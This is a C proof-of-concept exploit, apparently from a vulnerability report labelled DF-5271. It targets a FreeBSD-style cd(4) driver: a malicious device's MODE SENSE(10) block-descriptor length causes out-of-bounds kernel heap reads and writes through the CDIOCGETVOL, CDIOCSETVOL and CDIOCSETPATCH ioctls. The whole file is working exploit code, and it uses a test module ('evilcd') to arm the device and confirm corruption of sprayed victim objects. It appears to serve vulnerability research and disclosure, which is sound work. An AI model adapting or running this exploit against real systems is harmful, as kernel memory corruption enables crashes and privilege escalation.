DF-5271 / poc_write.c
/* DF-5271 PoC: OOB read+write through the mode-page pointer * (device-controlled blk_desc_len from MODE SENSE(10)). * * 1. opens the evilcd cd(4) device * 2. arms the device (sysctl debug.evilcd.armed=1) -> first audio ioctl * makes cd6byteworkaround() switch the periph to 10-byte commands * 3. CDIOCGETVOL -> reads 4 bytes at mode_buf + 8 + blkdesc + {12,14,16,18} * (OOB read returned to userland) * 4. CDIOCSETVOL -> writes user bytes at the same OOB offsets * 5. userland then asks the KLD (debug.evilcd.check_victims=1) to scan the * sprayed victim chunks: the written markers must show up in a live * foreign heap object. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *dev = argv[1] ? argv[1] : "/dev/cd1"; struct ioc_vol vol; int fd, i; fd = open(dev, O_RDONLY); if (fd < 0) { perror(dev); exit(1); } printf("[poc] opened %s\n", dev); /* arm: 6-byte mode sense now fails -> workaround -> 10-byte + evil */ if (argc < 3 || strcmp(argv[2], "noarm") != 0) { if (system("sysctl debug.evilcd.armed=1") != 0) { perror("sysctl armed"); exit(1); } } /* OOB READ via CDIOCGETVOL (also triggers the 6->10 switch) */ memset(&vol, 0, sizeof(vol)); if (ioctl(fd, CDIOCGETVOL, &vol) < 0) { perror("CDIOCGETVOL"); exit(1); } printf("[poc] CDIOCGETVOL (OOB read, blkdesc=0x400): " "vol = %02x %02x %02x %02x\n", vol.vol[0], vol.vol[1], vol.vol[2], vol.vol[3]); /* OOB WRITE via CDIOCSETVOL: 4 user-controlled bytes */ vol.vol[0] = 0x66; vol.vol[1] = 0x67; vol.vol[2] = 0x68; vol.vol[3] = 0x69; if (ioctl(fd, CDIOCSETVOL, &vol) < 0) { perror("CDIOCSETVOL"); exit(1); } printf("[poc] CDIOCSETVOL wrote {66 67 68 69} at " "mode_buf+8+0x400+{12,14,16,18}\n"); /* OOB WRITE via CDIOCSETPATCH: 4 different user bytes */ { struct ioc_patch p; memset(&p, 0, sizeof(p)); p.patch[0] = 0xA1; p.patch[1] = 0xA2; p.patch[2] = 0xA3; p.patch[3] = 0xA4; if (ioctl(fd, CDIOCSETPATCH, &p) < 0) { perror("CDIOCSETPATCH"); exit(1); } printf("[poc] CDIOCSETPATCH wrote {A1 A2 A3 A4} at " "mode_buf+8+0x400+{11,13,15,17}\n"); } /* read back what we wrote (proves both read+write symmetry) */ memset(&vol, 0, sizeof(vol)); if (ioctl(fd, CDIOCGETVOL, &vol) == 0) { printf("[poc] CDIOCGETVOL readback: " "vol = %02x %02x %02x %02x\n", vol.vol[0], vol.vol[1], vol.vol[2], vol.vol[3]); } close(fd); return (0); } |